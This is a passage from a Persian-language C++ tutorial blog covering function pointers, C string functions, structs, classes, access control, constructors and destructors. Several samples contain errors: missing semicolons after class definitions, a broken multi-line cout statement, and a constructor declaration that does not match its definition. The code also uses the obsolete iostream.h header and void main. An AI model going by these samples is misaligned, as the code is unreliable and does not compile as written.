Warning W8037 100: Non-const function 
Time::setHour(int)
called for const object in function main()
Warning W8037 107: Non-const function
Time::printStandard()
called for const object in function main()
*** 2 errors in Compile ***

 
comment نظرات ()
 
 
قسمت چهل و هفتم
نویسنده : Hossein - ساعت ۱٠:٤٦ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

نابودکننده ها

نابودکننده همانند سازنده تابع عضو ويژه ای از کلاس و همنام با کلاس می باشد و با کاراکتر (~) شروع می گردد.

تابع نابودکننده یک کلاس هنگامی فراخوانده می شود که شیئی از آن کلاس نابود شود (مثلا وقتی که برنامه در حال اجرا، حوزه ای را که در آن، شیئی از آن کلاس نمونه سازی شده ترک می کند). خود نابودکننده شی را نابود نمی کند، بلکه امور خانه داری مربوط به پایان دهی را پیش از آن که سیستم، حافظه شی را باز پس گیرد و این حافظه برای اشیای بعدی آزاد شود، انجام می دهد.

نابودکننده هیچ پارامتری نمی گیرد و هیچ مقداری باز نمی گرداند. یک کلاس فقط یک نابودکننده می تواند داشته باشد. به عبارت دیگر گرانبار کردن نابودکننده مجاز نیست. در قطعه برنامه زير نحوه تعريف يک نابود کننده را می بينيد:

class CreateAndDestroy {

public:
CreateAndDestroy();
~CreateAndDestroy();

private:
int objectID;
};

CreateAndDestroy::CreateAndDestroy(int objectNumber)
{
objectID = objectNumber;
cout << "Object "<<objectID<<" constructor runs\n";
}


CreateAndDestroy::~CreateAndDestroy()
{
cout << "Object "<<objectID<<" destructor runs\n";
}

 
comment نظرات ()
 
 
قسمت چهل و ششم
نویسنده : Hossein - ساعت ۱٠:٤٥ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

سازنده ها

هنگامی که شیئی از یک کلاس ساخته می شود، اعضای داده آن را می توان با تابع سازنده آن کلاس مقدار دهی اوليه کرد. تابع سازنده ، تابع عضو بخصوصی است که مقادير اوليه اعضای داده ای را تعيين می کند. هنگامی که برنامه شيئی از کلاسی را ايجاد می کند ، تابع سازنده به طور خودکار فراخوانی می گردد. توجه داشته باشيد که تابع سازنده نبايد مقداری را به عنوان خروجی خود برگرداند.

سازنده به کار رفته در برنامه مبحث تعریف کلاس مقادیر اولیه minute ، hour و second را برابر با صفر قرار داد. اما توابع سازنده می توانند دارای آرگومان باشند، که معمولا اين آرگومان ها برای مقدار دهی اوليه به شيئی از نوع کلاس مربوطه به کار می روند. از آنجا که هنگام ايجاد شیء، تابع سازنده به طور خودکار فراخوانی می شود، اعضای داده ای کلاس را توسط آرگومان های در يافتی خود، می تواند مقدار دهی اوليه کند. مقادیر اولیه یک کلاس را می توان هنگام تعريف شیئی از آن کلاس، درون پرانتزهایی که در سمت راست نام شیء و پیش از نقطه ویرگول می آیند قرار داد. این مقادیر اولیه به عنوان آرگومان به تابع سازنده کلاس ارسال می گردند. به برنامه زير توجه کنيد:

#include <iostream.h>

class CRectangle {
int width, height;
public:
CRectangle (int,int);
int area (void) {return (width*height);}
};

CRectangle::CRectangle (int a, int b) {
width = a;
height = b;
}

int main () {
CRectangle rect (3,4);
CRectangle rectb (5,6);
cout << "rect area: " << rect.area() << endl;
cout << "rectb area: " << rectb.area() << endl;
}

خروجی برنامه فوق به صورت زير می باشد:

rect area: 12
rectb area: 30

سازنده ها را برای اينکه مقدار دهی اوليه به اعضای داده ای کلاس به صورتهای مختلف امکان پذیر باشد، می توان گرانبار کرد. به نحوه گرانبار کردن تابع سازنده، در برنامه زير توجه نماييد:

#include <iostream.h>

class CRectangle {
int width, height;
public:
CRectangle ();
CRectangle (int,int);
int area (void) {return (width*height);}
};

CRectangle::CRectangle () {
width = 5;
height = 5;
}

CRectangle::CRectangle (int a, int b) {
width = a;
height = b;
}

int main () {
CRectangle rect (3,4);
CRectangle rectb;
cout << "rect area: " << rect.area() << endl;
cout << "rectb area: " << rectb.area() << endl;
}

خروجی برنامه فوق به صورت زير می باشد:

rect area: 12
rectb area: 25

سازنده ها می توانند دارای آرگومان های پیش فرض نيز باشند. در برنامه زير در پيش تعريف تابع سازنده time و برای هر یک از آرگومانها مقدار پیش فرض صفر در نظر گرفته شده است. با مشخص کردن مقدار پيش فرض برای آرگومانهای تابع سازنده، حتی اگر هنگام فراخوانی تابع سازنده مقداری نيز برای آن تعيين نگردد، مقادير پيش فرض به کار گرفته می شود. اين کار تضمين می نمايد که  اعضاء کلاس همواره  مقادير درستی را در خود نگهداری می کنند.

#include <iostream.h>

class Time {
public:
Time( int = 0, int = 0, int = 0);
void setTime( int, int, int );
void printUniversal();
void printStandard();

private:
int hour; // 0 - 23 (24-hour clock format)
int minute; // 0 - 59
int second; // 0 - 59
}

Time::Time( int hr, int min, int sec )
{
setTime( hr, min, sec );
}

void Time::setTime( int h, int m, int s )
{
hour = ( h >= 0 && h < 24 ) ? h : 0;
minute = ( m >= 0 && m < 60 ) ? m : 0;
second = ( s >= 0 && s < 60 ) ? s : 0;
}

void Time::printUniversal()
{
cout << (hour<10 ? "0":"") << hour << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second;
}


void Time::printStandard()
{
cout << ( ( hour == 0 || hour == 12 ) ?
12 : hour % 12 ) << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second
<< (hour < 12 ? " AM" : " PM" );
}


void main()
{
Time t1; // all arguments defaulted
Time t2( 2 ); // minute and second defaulted
Time t3( 21, 34 ); // second defaulted
Time t4( 12, 25, 42 ); // all values specified
Time t5( 27, 74, 99 ); // all bad values specified

cout << "Constructed with:\n\n"
<< "all default arguments:\n ";
t1.printUniversal(); // 00:00:00
cout << "\n ";
t1.printStandard(); // 12:00:00 AM

cout << "\n\nhour specified;";
<< " default minute and second:\n ";
t2.printUniversal(); // 02:00:00
cout << "\n ";
t2.printStandard(); // 2:00:00 AM

cout << "\n\nhour and minute specified;";
<< " default second:\n ";
t3.printUniversal(); // 21:34:00
cout << "\n ";
t3.printStandard(); // 9:34:00 PM

cout << "\n\nhour, minute, and second specified:\n ";
t4.printUniversal(); // 12:25:42
cout << "\n ";
t4.printStandard(); // 12:25:42 PM

cout << "\n\nall invalid values specified:\n ";
t5.printUniversal(); // 00:00:00
cout << "\n ";
t5.printStandard(); // 12:00:00 AM
cout << endl;

}

خروجی برنامه فوق به صورت زير می باشد:

Constructed with:

all default arguments:
00:00:00
12:00:00 AM

hour specified; default minute and second:
02:00:00
2:00:00 AM

hour and minute specified; default second:
21:34:00
9:34:00 PM

hour, minute, and second specified:
12:25:42
12:25:42 PM

all invalid values specified:
00:00:00
12:00:00 AM

در برنامه فوق پنج شیء از کلاس Time ايجاد شده اند که t1 هنگام فراخوانی سازنده از هر آرگومان پیش فرض استفاده کرده است، t2 یک آرگومان، t3 دو آرگومان، t4 سه آرگومان را برای سازنده خود مشخص کرده اند و t5 آرگومانهایی با مقادير غير مجاز را مشخص کرده است. ضمنا برای بررسی مجاز بودن آرگومان های دريافت شده توسط تابع سازنده، اين تابع ، setTime را با آرگومانهايی که دريافت کرده است فراخوانی می کند تا اطمينان حاصل شود که hour و minute و second با مقادير درستی مقدار دهی می شوند.


 
comment نظرات ()
 
 
قسمت چهل و پنجم
نویسنده : Hossein - ساعت ۱٠:٤۱ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

کنترل دسترسی به اعضا

معرفهای دسترسی به اعضا یعنی public و private ، نحوه دسترسی به اعضای داده و توابع عضو کلاس را کنترل می کنند. حالت  پیش فرض برای دسترسی به اعضای داده و توابع عضو در کلاس private می باشد، لذا همه اعضایی که بعد از تعيين نام کلاس و قبل از اولین برچسب معرف آمده اند، خصوصی در نظر گرفته می شوند. پس از هر معرف، حالتی که معرف مربوطه تعيين می کند، به همه اعضا تا برچسب بعدی یا آکلاد بسته مربوط به پایان تعریف کلاس اعمال می شود. برچسبهای public و private را می توان چندین بار در تعریف کلاس به کار برد، اما این کار معمول نمی باشد و باعث پيچيدگی کد برنامه می شود. اعضای خصوصی یک کلاس فقط از طریق توابع عضو  آن کلاس قابل دسترسی می باشند در مقابل اعضای عمومی کلاس توسط هر تابعی در برنامه قابل دسترسی می باشند.

برنامه زير نشان می دهد که اعضای خصوصی کلاس، خارج از کلاس قابل دسترسی نمی باشند :

#include <iostream.h>

class Time {
public:
Time();
void setTime( int, int, int );
void printUniversal();
void printStandard();

private:
int hour; // 0 - 23 (24-hour clock format)
int minute; // 0 - 59
int second; // 0 - 59
}

Time::Time()
{
hour = minute = second = 0;
}

void Time::setTime( int h, int m, int s )
{
hour = ( h >= 0 && h < 24 ) ? h : 0;
minute = ( m >= 0 && m < 60 ) ? m : 0;
second = ( s >= 0 && s < 60 ) ? s : 0;
}

void Time::printUniversal()
{
cout << (hour<10 ? "0":"") << hour << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second;
}


void Time::printStandard()
{
cout << ( ( hour == 0 || hour == 12 ) ?
12 : hour % 12 ) << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second
<< (hour < 12 ? " AM" : " PM" );
}

int main()
{
Time t; // create Time object

t.hour = 7; // error: 'Time::hour' is not accessible

// error: 'Time::minute' is not accessible
cout << "minute = " << t.minute;

return 0;
}

هنگام کامپايل کردن برنامه فوق با پيغام خطايی مبنی بر اينکه عضو خصوصی قابل دسترسی نمی باشد،  مواجه می شويم .

Error in line 50: 'Time::hour' is not accessible
Error in line 53: 'Time::minute' is not accessible

 
comment نظرات ()
 
 
قسمت چهل و چهارم
نویسنده : Hossein - ساعت ۱٠:۳٩ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

حوزه کلاس و دسترسی به اعضای کلاس

اعضای داده يک کلاس (متغيرهايی که در کلاس تعريف شده اند ) و توابع عضو کلاس ( توابعی که در کلاس تعريف گرديده ا ند ) به حوزه اين کلاس متعلق می باشند و توابعی که عضو کلاس نمی باشند، دارای حوزه فايل می باشند.

در حوزه يک کلاس ، همه اعضای کلاس توسط توابع عضو کلاس قابل دسترسی می باشند و می توان توسط نامشان مستقيما به آنها مراجعه کرد. در بيرون از حوزه کلاس برای دسترسی به اعضای کلاس  از عملگر نقطه (.) و يا عملگر پيکان (<-) استفاده می کنيم. عملگر هايی که برای دسترسی به اعضای کلاس مورد استفاده قرار می گيرند همانند عملگر های دسترسی به عناصر ساختارها می باشند. عملگر نقطه (.) برای دستيابی به عضو يک کلاس از طريق نام يک متغير و عملگر پيکان (<-) ، برای دستيابی به عضو يک کلاس از طريق اشاره گر مورد استفاده قرار می گيرد .

توابع عضو يک کلاس تنها توسط ساير توابع عضو همان کلاس می توانند گرانبار شوند. برای گرانبار کردن يک تابع عضو کافی است هنگام تعريف کلاس برای هر يک از نسخه های تابع عضوی که می خواهيم آنرا گرانبارکنيم، يک پيش تعريف قرار دهيم و برای هر يک از نسخه های اين تابع تعريف جداگانه ای در نظر بگيريم.

متغيرهايی که در يک تابع عضو کلاس تعريف شده اند، دارای حوزه تابع می باشند، یعنی فقط برای همان تابع شناخته شده اند. اگر در تابع عضوی، متغيری همنام با نام متغيری که دارای حوزه کلاس است تعريف شده باشد، در اين صورت متغيری که دارای حوزه کلاس می باشد در داخل تابع به طور مستقيم نمی توان رجوع کرد و برای دسترسی به آن بايد عملگر تفکيک حوزه (::) را قبل از نام متغير قرار داد.

در برنامه زير يک کلاس ساده به نام Count با يک عضو داده عمومی از نوع int به نام x و يک تابع عضو عمومی به نام print ، تعريف شده است. در اين برنامه دو شیء از نوع کلاس Count به نامهای counter و countPtr ( اشاره گری به يک شیء Count ) تعريف شده اند که متغيرcountPtr به counter اشاره داده شده است. لازم به ذکر است که عضو داده x فقط برای اين به صورت عمومی تعريف شده که نحوه دسترسی به اعضای عمومی را نشان دهيم. همان طور که قبلا ذکر کرديم، اعضای داده ای معمولاً به صورت خصوصی اعلان می شوند . به برنامه زير توجه کنيد :

#include <iostream.h>

class Count {

public:
int x;

void print()
{
cout << x << endl;
}
};

void main()
{
Count counter;
Count *counterPtr = &counter;

cout << "Assign 1 to x and print "
<< "using the object's name: ";
counter.x = 1;
counter.print();

cout << "Assign 3 to x and print using a pointer: ";
counterPtr->x = 3;
counterPtr->print();
}

خروجی برنامه فوق به صورت زير می باشد:

Assign 1 to x and print using the object's name: 1
Assign 3 to x and print using a pointer: 3

 
comment نظرات ()
 
 
قسمت چهل و سوم
نویسنده : Hossein - ساعت ۱٠:۳٥ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

تعريف کلاس

توسط کلاس ها می توان اشيايی را با خصوصيات ( که توسط عناصر نمايش داده می شوند ) و اعمال ( که توسط توابع مشخص می شوند ) مدلسازی کرد . کلاسها همانند ساختارها تعريف می شوند با اين تفاوت که در کلاسها توابع نيز می توانند به عنوان عنصر کلاس باشند . يک کلاس توسط کلمه class تعريف می شود . به تعريف کلاس زير توجه کنيد :

class Time {
public:
Time();
void setTime( int, int, int );
void printUniversal();
void printStandard();

private:
int hour;
int minute;
int second;
};

تعريف کلاس Time با کلمه class شروع می شود و بدنه کلاس با {} مشخص می شود و در انتها تعريف کلاس با يک نقطه ويرگول (;) به پايان می رسد. همانند ساختار Time که در مبحث قبل ايجاد کرديم کلاس Time دارای سه عنصر از نوع عدد صحيح با نامهایhour وminute وsecond می باشد ساير اجزای کلاس جديد می باشد که به بررسی آنها می پردازيم . برچسبهای :public و :private معرفهای دستيابی به عنصر ( عضو ) ناميده می شوند . هر عضو داده ای يا تابع عضوی که بعد از public و قبل از private تعريف می شود ، در هر جايی که برنامه به شيئی از نوع Time دسترسی دارد قابل دستيابی می باشد. هر عضو داده ای يا تابعی که بعد از private تعريف می شود تنها برای توابع عضو کلاس قابل دستيابی می باشد و به طور مستقيم از داخل برنامه قابل دسترسی نمی باشند . تأکيد می شود که بعد از معرفهای دستيابی به اعضاء يک علامت دو نقطه (:) قرار می گيرد . ضمناً اين معرفها را در تعريف کلاسها ، چندين بار و به هر ترتيبی می توان به کار برد ولی توصيه می شود که برای خوانايی برنامه هر يک از اين معرفها را تنها يکبار به کار ببريد و ابتدا اعضای عمومی ( public ) را قرار دهيد . تعريف کلاس Time شامل پيش تعريف چهار تابع printUniversal , setTime ,Time و printStandard می شود که اين توابع ، اعضای عمومی کلاس Time می باشند ، چون بعد از publice تعريف شده اند .

توجه داشته باشيد که تابع عضوی همنام با کلاس وجود دارد که اين تابع ، تابع سازنده ناميده می شود . تابع سازنده ، تابع عضو بخصوصی است که مقادير اوليه اعضای داده ای را تعيين می کند . هنگامی که برنامه شيئی از کلاسی را ايجاد می کند ، تابع سازنده به طور خودکار فراخوانی می گردد. توجه داشته باشيد که تابع سازنده نبايد مقداری را به عنوان خروجی خود برگرداند .

همانند ساختارها ، هنگامی که کلاس Time تعريف گرديد می توان اشيايی را از نوع کلاس Time ايجاد کرد . به دستورات زير توجه کنيد :

Time sunset;
Time arrayofTime [5];
Time *timeptr = & sunset;

توسط دستورات فوق sunset متغيری از نوع کلاس Time تعريف می شود. arrayofTime آرايه ای شامل 10 عنصر از نوع کلاس Time می باشد و timePtr اشاره گری به خانه ای از حافظه با نام sunset از نوع کلاس Time تعريف می گردد.

در برنامه زير کلاس Time مورد استفاده قرار گرفته است و توابع عضو آن تعريف گرديده اند. در اين برنامه شيئی از نوع کلاس Time بانام t ايجاد شده است. هنگامی  که اين شیء ايجاد می شود تابع سازنده Time به طور خودکار فراخوانی می شود ومقدار هر يک از اعضای داده (hour , minute , secound) را عدد صفر قرار می دهد. پس از ايجاد شدن شیء t توابع عضو printUniversal و printStandard فراخوانی می شوند تا با چاپ زمان توسط اين دو تابع از مقدار دهی اوليه به شیء t اطمينان حاصل کنيم. سپس با فراخوانی تابع setTime ، شیء t مقدار دهی می شود و سپس مجددا مقدار اين شیء به دو روش چاپ می گردد. هنگامی که با فراخوانی مجدد تابع عضو setTime سعی در مقدار دهی نادرست به شیء t می کنيم ، تابع عضو setTime از اين کار جلوگيری می کند.

#include <iostream.h>

class Time {
public:
Time();
void setTime( int, int, int );
void printUniversal();
void printStandard();

private:
int hour; // 0 - 23 (24-hour clock format)
int minute; // 0 - 59
int second; // 0 - 59
}

Time::Time()
{
hour = minute = second = 0;
}

void Time::setTime( int h, int m, int s )
{
hour = ( h >= 0 && h < 24 ) ? h : 0;
minute = ( m >= 0 && m < 60 ) ? m : 0;
second = ( s >= 0 && s < 60 ) ? s : 0;
}

void Time::printUniversal()
{
cout << (hour<10 ? "0":"") << hour << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second;
}


void Time::printStandard()
{
cout << ( ( hour == 0 || hour == 12 ) ?
12 : hour % 12 ) << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second
<< (hour < 12 ? " AM" : " PM" );
}

int main()
{
Time t;
cout << "The initial universal time is ";
t.printUniversal(); // 00:00:00

cout << "\nThe initial standard time is ";
t.printStandard(); // 12:00:00 AM

t.setTime( 13, 27, 6 ); // change time

cout << "\n\nUniversal time after setTime is ";
t.printUniversal(); // 13:27:06

cout << "\nStandard time after setTime is ";
t.printStandard(); // 1:27:06 PM

t.setTime( 99, 99, 99 ); // attempt invalid settings

cout << "\n\nAfter attempting invalid settings:"
<< "\nUniversal time: ";
t.printUniversal(); // 00:00:00

cout << "\nStandard time: ";
t.printStandard(); // 12:00:00 AM
cout << endl;

return 0;
}

خروجی برنامه فوق به صورت زير می باشد:

The initial universal time is 00:00:00
The initial standard time is 12:00:00 AM

Universal time after setTime is 13:27:06
Standard time after setTime is 1:27:06 PM

After attempting invalid settings:
Universal time: 00:00:00
Standard time: 12:00:00 AM

همانطور که در برنامه فوق مشاهده می کنيد هنگام تعريف کلاس تنها پيش تعريف توابع عضو آورده شده است و خود توابع در خارج از کلاس تعريف شده اند. برای اين کار قبل از نام تابع ، نام کلاس را همراه با عملگر تفکيک دامنه(::) قرار می دهيم :

void Time::printUniversal()
{
cout << (hour<10 ? "0":"") << hour << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second;
}

 
comment نظرات ()
 
 
قسمت چهل و دوم
نویسنده : Hossein - ساعت ۱٠:۳۳ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

دسترسی به عناصر ساختار

برای دستيابی به عناصر يک ساختار از عملگر نقطه (.) و يا عملگر پيکان (<-) استفاده می کنيم . عملگر نقطه برای دستيابی به عنصر يک ساختار از طريق نام يک متغير ، مورد استفاده قرار می گيرد ، به عنوان مثال به دستور زير توجه کنيد :

timeObject.hour = 13;
timeObject.minute = 33;
timeObject.second = 20;

دستور فوق عناصر hour و minute و second متغيری از نوع Time را به ترتيب با مقادير 13 و 33 و 20 مقدار دهی می کند و دستور زير :

cout << timeObject.hour;

برای چاپ کردن عنصرhour از متغيرtime Object به کار می رود . عملگر پيکان که از يک علامت منفی (-) و يک علامت بزرگتر (<) بدون فاصله بين اين دو علامت تشکيل شده است ، برای دستيابی به عنصر يک ساختار از طريق اشاره گر مورد استفاده قرار می گيرد .

cout << timePtr -> hour;

دستور فوق برای چاپ کردن عنصر hour از متغير timeObject توسط اشاره گر timePtr به کار رفته است . به جای استفاده از timePtr -> hour برای دستيابی به عنصر hour می توان از (*timePtr).hour استفاده کرد . توجه داشته باشيد که استفاده از پرانتز در کنار timePtr* الزامی می باشد . به عنوان مثال از دستور زير نيز برای چاپ عنصر hour از متغير timeObject توسط اشاره گر timePtr می توان استفاده کرد .

cout << (*timePtr).hour;

در برنامه زير ساختار Time مورد استفاده قرار گرفته است و توسط روش ارسال آرگومان با ارجاع به توابع ، شیء dinnerTime که از نوع ساختار Time می باشد به توابع printUniversal و printStandard ارسال شده است.

#include <iostream.h>

struct Time {
int hour; // 0-23 (24-hour clock format)
int minute; // 0-59
int second; // 0-59
};

void printUniversal( const Time & );
void printStandard( const Time & );

int main()
{
Time dinnerTime;

dinnerTime.hour = 18;
dinnerTime.minute = 30;
dinnerTime.second = 0;

cout << "Dinner will be held at ";
printUniversal( dinnerTime );
cout << " universal time,\nwhich is ";
printStandard( dinnerTime );
cout << " standard time.\n";

dinnerTime.hour= 29; //set hour to invalid value
dinnerTime.minute= 73; //set minute to invalid value

cout << "\nTime with invalid values: ";
printUniversal( dinnerTime );
cout << endl;

return 0;
}

void printUniversal( const Time &t )
{
cout << (t.hour<10 ? "0":"") << t.hour << ":"
<< (t.minute<10 ? "0":"") << t.minute << ":"
<< (t.second<10 ? "0":"") << t.second;
}


void printStandard( const Time &t )
{
cout << ( ( t.hour == 0 || t.hour == 12 ) ?
12 : t.hour % 12 ) << ":"
<< (t.minute<10 ? "0":"") << t.minute << ":"
<< (t.second<10 ? "0":"") << t.second
<< ( t.hour < 12 ? " AM" : " PM" );
}

خروجی برنامه فوق به صورت زير می باشد:

Dinner will be held at 18:30:00 universal time,
which is 6:30:00 PM standard time.

Time with invalid values: 29:73:00

همانطور که در برنامه فوق مشاهده کرديد ، امکان مقدار دهی نادرست به شيئی از نوع ساختار Time وجود دارد. اما در مبحث بعدی در کلاسها خواهيد ديد که می توان مقدار دهی به اعضا را کنترل کرد.


 
comment نظرات ()
 
 
قسمت چهل و یکم
نویسنده : Hossein - ساعت ۱٠:۳٠ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

تعريف ساختار

ساختارها نوعی داده ، متشکل از تعدادی عنصر(عضو) می باشند که اين عناصر هر يک ممکن است از نوع داده ای متفاوتی با بقيه باشند و يا از نوع ساختار ديگری باشند . به تعريف ساختار زير توجه کنيد :

struct Time {
int hour;
int minute;
int second;
};

در دستور فوق کلمه struct يک ساختار را با نام Time ايجاد می کند ساختار ايجاد شده با نام Time دارای سه عنصر به نامهای hour (برای نگهداری ساعت) ، minute (برای نگهداری دقيقه) ، second (برای نگهداری ثانيه) می باشد که اين عناصر از نوع عدد صحيح می باشند . عناصر يک ساختار نمی توانند دارای نامهای يکسانی باشند ولی دو ساخاختار متفاوت می توانند دارای عناصری با نامهای يکسان باشند و اين کار تداخلی بين آنها ايجاد نمی کند.

پس از اينکه ساختار Time ايجاد شد می توانيم از اين نوع داده جديد استفاده کنيم و متغيرهايی را از اين نوع داده تعريف کنيم . به دستورات زير توجه کنيد :

Time timeObject;
Time timeArray[10];
Time *timePtr=&timeObject;

توسط دستورات فوق timeObject متغيری از نوع Time تعريف می شود . timeArray آرايه ای که شامل 10 عنصر از نوع Time می باشد ، تعريف می شود . timePtr اشاره گری به خانه ای از حافظه با نام timeObject از نوع Time تعريف می شود.


 
comment نظرات ()
 
 
قسمت چهلم
نویسنده : Hossein - ساعت ۱٠:٢۸ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

پردازش رشته ها

در اين مبحث تعدادی از توابع پردازش رشته را که در فايل کتابخانه ای string.h قرار دارند مورد بررسی قرار می دهيم .

char *strcpy (char *s1, const char *s2);

تابع فوق رشته s2 را در رشته s1 کپی می کند و مقدار s1 به عنوان خروجی تابع برگردانده می شود .

char *strncpy (char *s1, const char *s2, size_t n);

تابع فوق تعداد n حرف را از رشته s2 در رشته s1 کپی می کند و s1 را به عنوان خروجی برمی گرداند . به برنامه زير توجه کنيد :

#include <iostream.h>
#include <string.h>

void main()
{
char x[] = "Happy Birthday to You";
char y[ 25 ];
char z[ 15 ];

strcpy( y, x ); // copy contents of x into y

cout << "The string in array x is: " << x
<< "\nThe string in array y is: " << y << '\n';

// copy first 14 characters of x into z
strncpy( z, x, 14 ); // does not copy null character
z[ 14 ] = '\0'; // append '\0' to z's contents

cout << "The string in array z is: " << z << endl;
}

خروجی برنامه فوق به صورت زير می باشد :

The string in array x is: Happy Birthday to You
The string in array y is: Happy Birthday to You
The string in array z is: Happy Birthday

char *strcat (char *s1, const char *s2);

تابع فوق رشته s2 را به انتهای رشته s1 اضافه می کند و s1 را به عنوان خروجی بر می گرداند .

char *strncat (char *s1, const char *s2, size_t n);

تابع فوق n حرف از رشته s2 را به رشته s1 اضافه می کند و s1 را به عنوان خروجی تابع بر می گرداند. به برنامه زير توجه کنيد :

#include <iostream.h>
#include <string.h>

void main()
{
char s1[ 20 ] = "Happy ";
char s2[] = "New Year ";
char s3[ 40 ] = "";

cout << "s1 = " << s1 << "\ns2 = " << s2;

strcat( s1, s2 ); // concatenate s2 to s1

cout << "\n\nAfter strcat(s1, s2):\ns1 = " << s1
<< "\ns2 = " << s2;

// concatenate first 6 characters of s1 to s3
// and places '\0' after last character
strncat( s3, s1, 6 );


cout << "\n\nAfter strncat(s3, s1, 6):\ns1 = " << s1
<< "\ns3 = " << s3;

strcat( s3, s1 ); // concatenate s1 to s3
cout << "\n\nAfter strcat(s3, s1):\ns1 = " << s1
<< "\ns3 = " << s3 << endl;
}

خروجی برنامه به صورت زير می باشد :

s1 = Happy
s2 = New Year

After strcat(s1, s2):
s1 = Happy New Year
s2 = New Year

After strncat(s3, s1, 6):
s1 = Happy New Year
s3 = Happy

After strcat(s3, s1):
s1 = Happy New Year
s3 = Happy Happy New Year


int strcmp (const char *s1, const char *s2);

تابع فوق رشته s1 را با رشته s2 مقايسه می کند . اگر دو رشته برابر بودند مقدار صفر برگردانده می شود ، اگر رشته s1 کوچکتر از s2 باشد عددی منفی و اگر رشته s1 بزرگتر از s2 باشد عددی مثبت خروجی تابع خواهند بود .

int strncmp (const char *s1, const char *s2, size_t n);

تابع فوق n حرف اول رشته s1 را با رشته s2 مقايسه می کند و خروجی تابع همانند خروجی strcmp خواهد بود . به برنامه زير توجه کنيد :

#include <iostream.h>
#include <string.h>

void main()
{
char *s1 = "Happy New Year";
char *s2 = "Happy New Year";
char *s3 = "Happy Holidays";

cout << "s1 = " << s1 << "\ns2 = " << s2
<< "\ns3 = " << s3 << "\n\nstrcmp(s1, s2) = "
<< " " << strcmp( s1, s2 )
<< "\nstrcmp(s1, s3) = " << " "
<< strcmp( s1, s3 ) << "\nstrcmp(s3, s1) = "
<< " " << strcmp( s3, s1 );

cout << "\n\nstrncmp(s1, s3, 6) = " << " "
<< strncmp(s1,s3,6) << "\nstrncmp(s1,s3,7) = "
<< " " << strncmp( s1, s3, 7 )
<< "\nstrncmp(s3, s1, 7) = "
<< " " << strncmp( s3, s1, 7 ) << endl;
}

خروجی برنامه فوق به صورت زير می باشد :

s1 = Happy New Year
s2 = Happy New Year
s3 = Happy Holidays

strcmp(s1, s2) = 0
strcmp(s1, s3) = 6
strcmp(s3, s1) = -6

strncmp(s1, s3, 6) = 0
strncmp(s1, s3, 7) = 6
strncmp(s3, s1, 7) = -6


char *strtok (char *s1, const char *s2);

تابع فوق رشته s1 را توسط s2 جدا جدا می کند . به برنامه زير توجه کنيد :

#include <iostream.h>
#include <string.h>

void main()
{
char sentence[] ="This is a sentence with 7 tokens";
char *tokenPtr;

cout << "The string to be tokenized is:\n"<<sentence
<< "\n\nThe tokens are:\n\n";

tokenPtr = strtok( sentence, " " );

while ( tokenPtr != NULL ) {
cout << tokenPtr << '\n';
tokenPtr = strtok( NULL, " " ); // get next token
}
cout <<"\nAfter strtok, sentence ="<<sentence<<endl;

}

خروجی برنامه فوق به صورت زير می باشد :

The string to be tokenized is:
This is a sentence with 7 tokens

The tokens are:

This
is
a
sentence
with
7
tokens

After strtok, sentence = This

size_t strlen (const char *s);

تابع فوق طول رشته s را به عنوان خروجی بر می گرداند . به برنامه زير توجه کنيد :

#include <iostream.h>
#include <string.h>

void main()
{
char *string1 = "abcdefghijklmnopqrstuvwxyz";
char *string2 = "four";
char *string3 = "Boston";

cout << "The length of \"" << string1
<< "\" is " << strlen( string1 )
<< "\nThe length of \"" << string2
<< "\" is " << strlen( string2 )
<< "\nThe length of \"" << string3
<< "\" is " << strlen( string3 ) << endl;
}

خروجی برنامه فوق به صورت زير می باشد :

The length of "abcdefghijklmnopqrstuvwxyz" is 26
The length of "four" is 4
The length of "Boston" is 6

 
comment نظرات ()
 
 
قسمت سی و نهم
نویسنده : Hossein - ساعت ۱٠:٢٤ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

اشاره گر به تابع

يک اشاره گر به تابع حاوی آدرس آن تابع در حافظه می باشد . همانطور که می دانيد نام يک آرايه در واقع آدرس اولين عنصر آرايه در حافظه می باشد. مشابهاً ، نام يک تابع ، آدرس ابتدای کدهای يک تابع ، در حافظه می باشد . اشاره گر به يک تابع می تواند به عنوان آرگومان به توابع ارسال شود ، به عنوان خروجی تابعی برگردانده شود، در آرايه قرار گيرد و يا به تابعی ديگر اشاره داده شود.

برای آشنايی با نحوه کاربرد اشاره گرهای توابع، برنامه مرتب کردن حبابی عناصر آرايه را بازنويسی می کنيم. اين برنامه دارای توابع ascending ، swap ،bubble و descending می باشد . تابع bubble يک اشاره گر تابع را به عنوان آرگومان ، همراه با آرايه و عدد ثابتی به عنوان طول آرايه ، دريافت می کند .

اين اشاره گر به تابع ، اشاره گری به يکی از توابع ascending يا descending می باشد که اين دو تابع نحوه مرتب شدن آرايه را از نظر صعودی يا نزولی بودن تشخيص می دهند. برنامه در ابتدا از کاربر نحوه مرتب کردن عناصر را که به صورت صعودی مرتب شوند يا نزولی ، می پرسد . اگر کاربر عدد 1 را وارد کند ، يک اشاره گر به تابع ascending به عنوان آرگومان، به تابع bubble ارسال می شود که باعث می شود عناصر آرايه به صورت صعودی مرتب شوند. و اگر کاربر عدد 2 را وارد کند ، يک اشاره گر به تابع descending به عنوان آرگومان، به تابع bubble ارسال می گردد که باعث می شود عناصر آرايه به صورت نزولی مرتب شوند. به کدهای اين برنامه توجه کنيد :

#include <iostream.h>

void bubble( int [], const int, int (*)( int, int ) );
void swap( int * const, int * const );
int ascending( int, int );
int descending( int, int );

void main()
{
